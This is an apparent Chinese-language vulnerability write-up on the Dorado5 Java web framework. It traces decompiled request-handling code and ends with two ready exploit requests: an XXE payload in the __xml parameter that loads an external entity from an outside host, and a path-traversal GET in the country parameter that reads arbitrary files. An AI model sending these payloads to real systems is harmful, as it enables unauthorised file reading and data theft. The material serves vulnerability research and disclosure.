Author:jkgh006
Dorado5简介
锐道DORADO集成开发平台软件 V5.0(简称Dorado5 IDE)产品是与锐道DORADO展现中间件软件V5.0(简称DORADO5)产品配套的集成开发平台,进一步升编程效率与团队开发规范性。简言之,Dorado5 IDE是Dorado5的配套开发工具。
Dorado5 IDE支持控件属性设定、提供JavaScript事件编辑器、国际化资源文件编辑器、工程向导等。
Dorado5 IDE采用Eclipse Plug-in技术,以插件形式与Eclipse开发环境融为一体.
参考链接:http://wiki.bsdn.org/pages/viewpage.action?pageId=984613
客户案例:http://www.bstek.com/about/case
框架流程分析
首先看web.xml
<web-app>
<filter>
<filter-name>doradofilter</filter-name>
<filter-class>com.bstek.dorado.core.DoradoFilter</filter-class>
</filter>
<filter-mapping>
<filter-name>doradofilter</filter-name>
<url-pattern>/*</url-pattern>
</filter-mapping>
</web-app>
分析DoradoFilter.class:
public void init(FilterConfig filterConfig) throws ServletException {
this.initSystemProperties();
try {
if (this.concreteFilter == null) {
String ex = filterConfig.getInitParameter("impl");
Class cl = CacheUtils.getClass(StringUtils.defaultString(ex,
"com.bstek.dorado.core.FilterHandle"));
Object o = cl.newInstance();
this.concreteFilter = (Filter) o;
}
this.concreteFilter.init(filterConfig);
} catch (IllegalAccessException arg4) {
arg4.printStackTrace();
} catch (InstantiationException arg5) {
arg5.printStackTrace();
}
}
初始化了com.bstek.dorado.core.FilterHandle,并且进行了new操作
public void doFilter(ServletRequest request, ServletResponse response,
FilterChain filterChain) throws ServletException, IOException {
this.concreteFilter.doFilter(request, response, filterChain);
}
根据filter的 链式效果将会调用FilterHandle的dofilter操作:
public void doFilter(ServletRequest request, ServletResponse response,
FilterChain filterChain) throws ServletException {
try {
HttpServletRequest ex = (HttpServletRequest) request;
HttpServletResponse resp = (HttpServletResponse) response;
boolean isRPC = false;
boolean fromAgent = false;
String qs = ex.getQueryString();
if (qs != null) {
if (qs.endsWith("!$$")) {
ResponseCache rpcInfo1 = this.getResponseCache(qs);
if (rpcInfo1 != null) {
rpcInfo1.restoreResponse(ex, resp);
} else {
PrintWriter out = new PrintWriter(
this.getResponseOutputStream(ex, resp));
out.write("Page Timeout!");
out.flush();
out.close();
resp.flushBuffer();
}
return;
}
FilterHandlerRPCInfo rpcInfo = this.parseQueryString(qs);
isRPC = rpcInfo.isRPC();
fromAgent = rpcInfo.isFromAgent();
}
if (isRPC) {
isRPC = !VariantHelper.parseBoolean(ex
.getAttribute("com.bstek.dorado.view.rpc.processed"));
}
DoradoContext.registerContext(HttpContextFactory
.getContext(request));
try {
if (isRPC) {
if (fromAgent) {
this.doAgentRPCFilter(filterChain, ex, resp);
} else {
this.doRPCFilter(filterChain, ex, resp);
}
} else {
this.internalDoFilter(filterChain, ex, resp);
}
} finally {
TransactionManager.disposeTransaction();
if (Setting.getBoolean("fixBug_100925")) {
DoradoContext.unregisterContext();
}
}
} catch (RuntimeException arg16) {
throw arg16;
} catch (ServletException arg17) {
throw arg17;
} catch (Throwable arg18) {
throw new ServletException(arg18);
}
}
这里有两个地方可以分析:
- FilterHandlerRPCInfo rpcInfo =parseQueryString(qs);
- isRPC = rpcInfo.isRPC();fromAgent = rpcInfo.isFromAgent();
private FilterHandlerRPCInfo parseQueryString(String queryString) {
FilterHandlerRPCInfo rpcInfo = new FilterHandlerRPCInfo();
String[] params = StringUtils.split(queryString, '&');
for (int i = 0; i < params.length; ++i) {
String param = params[i];
if (param != null) {
int ei = param.indexOf(61);
if (ei > 0) {
String name = param.substring(0, ei);
String value;
if ("__rpc".equals(name)) {
value = param.substring(ei + 1);
this.validateParameterCharacters(value);
rpcInfo.setRPC(VariantHelper.parseBoolean(value));
} else if ("__rpcAgent".equals(name)) {
value = param.substring(ei + 1);
this.validateParameterCharacters(value);
rpcInfo.setFromAgent(VariantHelper.parseBoolean(value));
}
}
}
}
return rpcInfo;
}
如果我们的url是:smartweb2.RPC.d?__rpc=true 这里isRPC返回的就是ture
try {
if (isRPC) {
if (fromAgent) {
this.doAgentRPCFilter(filterChain, ex, resp);
} else {
this.doRPCFilter(filterChain, ex, resp);
}
} else {
this.internalDoFilter(filterChain, ex, resp);
}
} finally {
继续跟进一下doRPCFilter函数
private void doRPCFilter(FilterChain filterChain, HttpServletRequest req,
HttpServletResponse resp) throws Throwable {
String qs = this.genNewQS();
RPCHandler handler = RPCHelper.getHandler(req);
ResponseCache responseCache = new ResponseCache();
try {
handler.init(req);
DoradoBufferedResponse ex = new DoradoBufferedResponse(resp,
responseCache);
this.internalDoFilter(filterChain, req, ex);
if (!handler.isExecuted()) {
handler.execute();
}
ex.flushBuffer();
} catch (Throwable arg14) {
if (arg14 instanceof ServletException) {
handler.setError(((ServletException) arg14).getRootCause());
} else {
handler.setError(arg14);
}
this.processException(arg14);
} finally {
DoradoContext.registerContext(HttpContextFactory.getContext(req));
handler.endCalling(qs);
String contentType = "text/xml";
resp.setContentType("text/xml");
PrintWriter out = new PrintWriter(this.getResponseOutputStream(req,
resp));
Outputter xmlOutputter = OutputHelper.getOutputter(
handler.getClass(), "smartweb2");
xmlOutputter.outputStartSection(out, handler, req);
xmlOutputter.outputEndSection(out, handler, req);
out.flush();
out.close();
resp.flushBuffer();
if (responseCache.commitResponse()
&& !NoForwardController.isNoForward(req)) {
this.storeResponseCache(responseCache, qs);
}
RPCHelper.disposeHandler(req);
if (Setting.getBoolean("fixBug_100925")) {
DoradoContext.unregisterContext();
}
}
}
这个函数总体逻辑分为三个
- RPCHandler handler = RPCHelper.getHandler(req); 获取对应的处理器
- handler.init(req); 初始化请求的上下文以及参数
- handler.execute(); 执行对应的action操作
public static RPCHandler getHandler(HttpServletRequest request)
throws Exception {
RPCHandler handler = (RPCHandler) request
.getAttribute("com.bstek.dorado.view.rpc.RPCHandler");
if (handler == null) {
String type = request.getParameter("__type");
handler = createHandler(type);
request.setAttribute("com.bstek.dorado.view.rpc.RPCHandler",
handler);
}
return handler;
}
这时候参数_type 就很重要的决定了handler的角色,如果我们传递的是__type=updateData,那么我们的处理类就是
private static RPCHandler createHandler(String type) throws Exception {
RPCHandler handler;
if ("updateData".equalsIgnoreCase(type)) {
handler = (RPCHandler) ClassHelper.newInstance(Setting.getString(
"view.updateDataRPCHandler",
UpdateDataRPCHandler.class.getName()));
} else if ("loadData".equalsIgnoreCase(type)) {
handler = (RPCHandler) ClassHelper.newInstance(Setting.getString(
"view.loadDataRPCHandler",
LoadDataRPCHandler.class.getName()));
} else {
handler = (RPCHandler) ClassHelper.newInstance(Setting.getString(
"view.baseRPCHandler", BaseRPCHandler.class.getName()));
}
return handler;
}
回头再分析一下那个初始化方法
跟进分析UpdateDataRPCHandler这个类
public void init(HttpServletRequest request) throws Exception {
super.init(request);
XmlDocument xmlDocument = this.getXmlDocument();
XmlNode rootNode = xmlDocument.getRootNode();
this.transactionMode = rootNode.getAttributeInt("transaction", 10);
this.reduceReturnInfo = rootNode.getAttributeBoolean("rri");
this.batch = UpdateBatchParser.parse(xmlDocument);
this.parameters().assign(this.batch.parameters());
ViewModel viewModel = this.getViewModel();
this.applyUpdateBatch(viewModel, this.batch);
}
调用父类BaseRPCHandler的init
public void init(HttpServletRequest request) throws Exception {
super.init(request);
XmlDocument xmlDocument = this.getXmlDocument();
XmlNode rootNode = xmlDocument.getRootNode();
this.method = rootNode.getAttributeString("method");
}
继续调用父类AbstractRPCHandler的init
public void init(HttpServletRequest request) throws Exception {
this.requestRef = new WeakReference(request);
request.setAttribute("com.bstek.dorado.view.rpc.processed",
new Boolean(true));
String xml = request.getParameter("__xml");
String viewInstanceId = request.getParameter("__viewInstanceId");
ViewModelCacheInfo info = ViewModelManager
.getViewModelInfo(viewInstanceId);
this.viewModel = this.getViewModel(info);
XmlBuilder builder = XmlFactory.createXmlBuilder();
this.xmlDocument = builder.buildDocument("<?xml version=\"1.0\"?>"
+ xml);
ParameterSet parameters = this.parameters();
XmlNode[] paramNodes = null;
XmlNode paramsNode = this.xmlDocument.getRootNode().getChild("ps");
if (paramsNode != null) {
paramNodes = paramsNode.getChildren();
}
if (paramNodes != null) {
for (int properties = 0; properties < paramNodes.length; ++properties) {
XmlNode propNodes = paramNodes[properties];
String propsNode = propNodes.getAttribute("name");
String i = propNodes.getAttribute("type");
String propNode = propNodes.getContent();
if (StringHelper.isNotEmpty(i)) {
parameters.setDataType(propsNode, Integer.parseInt(i));
}
parameters.setString(propsNode, EscapeUtils.unescape(propNode));
if (StringHelper.isEmpty(i)) {
parameters.setDataType(propsNode, 0);
}
}
}
MetaData arg16 = this.viewModel.properties();
XmlNode[] arg17 = null;
XmlNode arg18 = this.xmlDocument.getRootNode().getChild("vps");
看到了吧这里进行了参数处理,其中xml参数直接进入到builder.buildDocument,前后没有禁用实体的标志所以存在xxe
POST /sample/dorado/smartweb2.RPC.d?__rpc=true HTTP/1.1
Host: localhost:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:56.0) Gecko/20100101 Firefox/56.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Pragma: no-cache
Referer: http://localhost:8080/sample/hello_world.jsp
Content-Length: 756
Cookie: JSESSIONID=DA072739F42DD38394A94217857CD063; UM_distinctid=15c78dfcc8237e-0b1ffc25c0572-1263684a-1fa400-15c78dfcc833c4; CNZZDATA80862620=cnzz_eid%3D145476687-1496676251-%26ntime%3D1496676251
X-Forwarded-For: 58.216.50.51
Connection: close
__type=updateData&__viewInstanceId=helloWorld~com.bstek.dorado.view.impl.DynaViewModel&__xml=<!DOxCTYPE+root+[<!ENTITY+%25+remote+SYSTEM+"http%3a//xxe.boomeye.com/index.html">%25remote%3b]><rpc+transaction%3d"10"><def><dataset+type%3d"wrapper"+id%3d"datasetEmployee"><f+name%3d"employee_id"></f><f+name%3d"dept_id"></f><f+name%3d"employee_name"></f><f+name%3d"sex"+type%3d"9"></f><f+name%3d"birthday"+type%3d"10"></f><f+name%3d"married"+type%3d"9"></f><f+name%3d"salary"+type%3d"7"></f><f+name%3d"degree"></f><f+name%3d"email"></f><f+name%3d"web"></f><f+name%3d"cmnt"></f><f+name%3d"image"></f></dataset></def><data><rs+dataset%3d"datasetEmployee"><r+id%3d"10138"+state%3d"insert"><n><v>2222</v><v>1111</v><v>111</v></n></r></rs></data></rpc>&1507876215851
整个框架的加载流程已经分析完成
任意文件读取
<servlet>
<servlet-name>doradoservlet</servlet-name>
<servlet-class>com.bstek.dorado.core.DoradoServlet</servlet-class>
<load-on-startup>2</load-on-startup>
</servlet>
<servlet-mapping>
<servlet-name>doradoservlet</servlet-name>
<url-pattern>*.d</url-pattern>
</servlet-mapping>
public void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
try {
ActionHandler.invokeAction(request, response);
} catch (RuntimeException ex) {
throw ex;
} catch (ServletException ex) {
throw ex;
} catch (Throwable ex) {
throw new ServletException(ex);
}
}
public void doPost(HttpServletRequest request, HttpServletResponse response)throws ServletException, IOException {
doGet(request, response);
}
这里可以看出来是个基础的HttpServlet类
public static void invokeAction(HttpServletRequest request,
HttpServletResponse response) throws Throwable {
String controllerName = "";
String actionName = "";
String extName = null;
String s = request.getServletPath();
int lastDot = s.lastIndexOf(".");
if (lastDot >= 0) {
extName = s.substring(lastDot + 1);
s = s.substring(0, lastDot);
lastDot = s.lastIndexOf(".");
if (lastDot >= 0) {
controllerName = s.substring(0, lastDot);
actionName = s.substring(lastDot + 1);
} else {
controllerName = s;
}
}
if ((extName != null) && ("jsp".equals(extName))) {
return;
}
invokeAction(request, response, controllerName, actionName);
}
private static void invokeAction(HttpServletRequest request,
HttpServletResponse response, String controllerName,
String actionName) throws Throwable {
Controller controller = null;
try {
controller = ControllerManager.getController(request,
controllerName);
controller.invokeAction(actionName, request, response);
} catch (Throwable ex) {
if (getExceptionHandler().processGlobalException(ex, request,
response))
return;
throw ex;
}
}
}
继续跟进 关键位置我们看类(ControllerManager)的 getController方法
public static Controller getController(HttpServletRequest request,
String name) throws Throwable {
return getControllerFactory().createController(request, name);
}
继续跟进:
public Controller createController(HttpServletRequest request, String name)
throws Throwable {
Mapping mapping = Mapping.getInstance();
ControllerConfig config = mapping.findController(name);
if (config != null) {
return createController(request, config);
}
if ("/TellMeSomethingAboutDorado".equals(name)) {
Class cl = CacheUtils
.getClass("com.bstek.dorado.view.smartweb.v2.output.TranslatorOutputter");
Controller controller = (Controller) cl.newInstance();
controller.setName(name);
controller.setConfig(new ControllerConfig(name));
return controller;
}
if ("/TellMeWhoCreatedDorado".equals(name)) {
Class cl = CacheUtils
.getClass("com.bstek.dorado.view.smartweb.v2.output.EncoderOutputter");
Controller controller = (Controller) cl.newInstance();
controller.setName(name);
controller.setConfig(new ControllerConfig(name));
return controller;
}
throw new ControllerNotFoundException(name);
}
重点分析一下这一句Mapping mapping = Mapping.getInstance()
初始化了所有的映射关系:
public static void init() throws xmlParseException, FileNotFoundException,
IOException {
try {
Mapping mapping = new Mapping();
FileLoader loader = FileLoaderFactory.createConfigLoader();
String path = "mapping/global.map.xml";
Console.println("Loading \"" + path + "\"...");
loader.setFile(path);
InputStream gin = loader.getInputStream();
GlobalUnit gunit;
try {
gunit = UnitParser.parseGlobalUnit(mapping, "global", gin);
} finally {
gin.close();
}
mapping.addUnit(gunit);
mapping.setGlobalUnit(gunit);
int fileCount = gunit.getSubFileCount();
for (int i = 0; i < fileCount; ++i) {
String unitname = gunit.getSubFile(i);
path = "mapping/" + unitname + ".map.xml";
Console.println("Loading \"" + path + "\"...");
loader.setFile(path);
InputStream sin = loader.getInputStream();
SubUnit unit;
try {
unit = UnitParser.parseSubUnit(mapping, unitname, sin);
} finally {
sin.close();
}
mapping.addUnit(unit);
}
instance = mapping;
} catch (LoadxmlPropertyException ex) {
Log.warn(ex);
}
}
这时候我们加载了本地里面的两个配置文件global.map.xml和 dorado.map.xml
传递进来的是怎么样个解析,举例子,如果我们传递的是:
http://localhost:8080/sample/dorado/smartweb2.loadConst.d?language=zh&country=CN
那么smartweb2 其实就是 name,然而loadConst就是说你在这个控制器里面的doloadConst方法
那么肯定在xml里面会有smartweb2这个映射
dorado.map.xml:
<controller name="smartweb2" clazz="com.bstek.dorado.view.smartweb.v2.ViewServiceController">
<action name="showRPCLoadingTip" />
<action name="showRPCSubmitter" />
<action name="RPC" />
<action name="noForward" />
<action name="showDynamicDropDown">
<forward name="success" path="/WEB-INF/dynamic-dropdown2.jsp" contextRelative="false" />
</action>
</controller>
直接跟进这个类
private Controller createController(HttpServletRequest request,
ControllerConfig config) throws Throwable {
Controller controller = createController(config);
DoradoContext context = HttpContextFactory.getContext(request);
ScopeHelper.storeobject(context, config.getScope(),
"com.bstek.dorado.action.Controller." + config.getName(),
controller);
return controller;
}
实际上返回的类为:com.bstek.dorado.view.smartweb.v2.ViewServiceController
分析一下controller.invokeAction(actionName,request, response)
public void invokeAction(String actionName, HttpServletRequest request,
HttpServletResponse response) throws Throwable {
internalDispatch(actionName, request, response);
}
private void internalDispatch(String actionName,
HttpServletRequest request, HttpServletResponse response)
throws Throwable {
Action action = getAction(actionName, request, response);
try {
try {
internalDispatch(action, request, response);
} catch (NoSuchMethodException ex) {
String nextActionName = request.getParameter("do");
if (StringHelper.isNotEmpty(nextActionName)) {
action = getAction(nextActionName, request, response);
internalDispatch(action, request, response);
}
} catch (UnsupportedOperationException ex) {
if (StringHelper.isEmpty(actionName)) {
String nextActionName = request.getParameter("do");
if (StringHelper.isNotEmpty(nextActionName)) {
action = getAction(nextActionName, request, response);
internalDispatch(action, request, response);
}
}
}
再继续就不往下分析了,意思就是拿出来刚才控制器里面的方法
框架的流程分析就到这里,直接看业务层,查看ViewServiceController:
public ActionForward doLoadConst(Action action, HttpServletRequest request,
HttpServletResponse response) throws Throwable {
Locale local = LocaleHelper.getLocale(request.getParameter("language"),
request.getParameter("country"));
byte[] ba = getConstByteArray(local);
ByteArrayInputStream in = new ByteArrayInputStream(ba);
try {
responseByteArray(request, response, in, TIMESTAMP,
"application/octet-stream", "const.js");
} finally {
in.close();
}
return null;
}
public static Locale getLocale(String language, String country) {
String key = language + '_' + country;
Locale locale = (Locale) localeMap.get(key);
if (locale == null) {
locale = new Locale(language, country);
localeMap.put(key, locale);
}
return locale;
}
继续跟进:这时候locale应该是个null 如果url后面的country被构造以后
直接看byte[] ba = getConstByteArray(local); 关键的流程点
private byte[] getConstByteArray(Locale local) throws IOException {
byte[] ba = (byte[]) (byte[]) constMap.get(local);
if (ba == null) {
ResourceBundle bundle = ResourceManager.getInstance().getBundle(
"smartweb/v2/client", local);
ByteArrayOutputStream baos = new ByteArrayOutputStream();
OutputStreamWriter writer = new OutputStreamWriter(baos);
Enumeration keys = bundle.getKeys();
while (keys.hasMoreElements()) {
String key = (String) keys.nextElement();
String value = bundle.getString(key);
value = javascriptHelper.escapejavascript(value);
writer.write("var " + key + "=\"");
writer.write(value + "\";\n");
}
writer.close();
ba = baos.toByteArray();
constMap.put(local, ba);
}
return ba;
}
继续跟进这个里面的函数:
public ResourceBundle getBundle(String baseName, Locale locale) {
MultiKey multikey = new MultiKey(baseName, locale);
ResourceBundle bundle = null;
try {
if (this.cache != null) {
FileCacheWrapper wrapper = (FileCacheWrapper) this.cache
.getCachedValue(multikey);
if (wrapper != null) {
if (!(wrapper.isOvertime()))
bundle = (ResourceBundle) wrapper.getobject();
else {
this.cache.removeElement(multikey);
}
}
if (bundle == null) {
wrapper = createBundle(multikey);
bundle = (ResourceBundle) wrapper.getobject();
ElementWrapper element = this.cache.createElementWrapper(
multikey, wrapper);
this.cache.putElement(element);
跟进createBundle这个函数:
private FileCacheWrapper createBundle(MultiKey multikey) throws Exception {
FileCacheWrapper wrapper = null;
object[] keys = multikey.getKeys();
String baseName = (String) keys[0];
Locale locale = (Locale) keys[1];
FileLoader loader = FileLoaderFactory.createConfigLoader();
StringBuffer path = new StringBuffer();
path.append("i18n");
path.append("/" + baseName + "_" + locale.getLanguage() + "_"
+ locale.getCountry() + ".properties");
loader.setFile(path.toString());
if (!(loader.exists())) {
path = new StringBuffer();
path.append("i18n");
path.append("/" + baseName + ".properties");
loader.setFile(path.toString());
}
InputStream in = loader.getInputStream();
try {
ResourceBundle bundle = new PropertyResourceBundle(in);
wrapper = new FileCacheWrapper();
wrapper.setobject(bundle);
wrapper.setFileLoader(loader);
wrapper.setTimeout(Setting.getLong("i18n.cache.timeout"));
wrapper.setMinCheckInterval(Setting
.getLong("i18n.cache.minCheckInterval"));
} finally {
in.close();
}
return wrapper;
}
这里有个
public void setFile(String filepath) {
this.filepath = filepath;
doSetFile(filepath);
}
里面进行了路径的拼接,然后剩下的就是一个普通的文件读取操作
直接构造请求:
GET /sample/dorado/smartweb2.loadConst.d?language=zh&country=CN/../../../../../../../../../../../../../../aaacasdsd.txt%00 HTTP/1.1
Host: localhost:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:56.0) Gecko/20100101 Firefox/56.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Cookie: UM_distinctid=15c78dfcc8237e-0b1ffc25c0572-1263684a-1fa400-15c78dfcc833c4; CNZZDATA80862620=cnzz_eid%3D145476687-1496676251-%26ntime%3D1496676251
X-Forwarded-For: 8.8.8.8
Connection: close
Upgrade-Insecure-Requests: 1